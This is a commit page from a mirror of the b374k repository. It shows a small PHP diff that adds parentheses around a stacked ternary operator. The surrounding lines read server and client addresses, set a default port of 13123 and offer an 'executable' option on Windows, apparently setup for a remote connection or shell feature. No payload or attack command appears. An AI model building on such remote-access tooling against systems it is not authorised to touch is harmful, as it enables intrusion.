1
0
Fork 0
mirror of https://github.com/b374k/b374k.git synced 2024-09-13 03:03:42 +02:00

Added parentheses around stacked ternary operator

This commit is contained in:
xKippi 2023-06-23 15:53:58 +02:00
parent dfabccb364
commit 33f8c8d36b

View file

@ -1,5 +1,5 @@
<?php
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"");
$remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
$default_port = 13123;
$winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":"";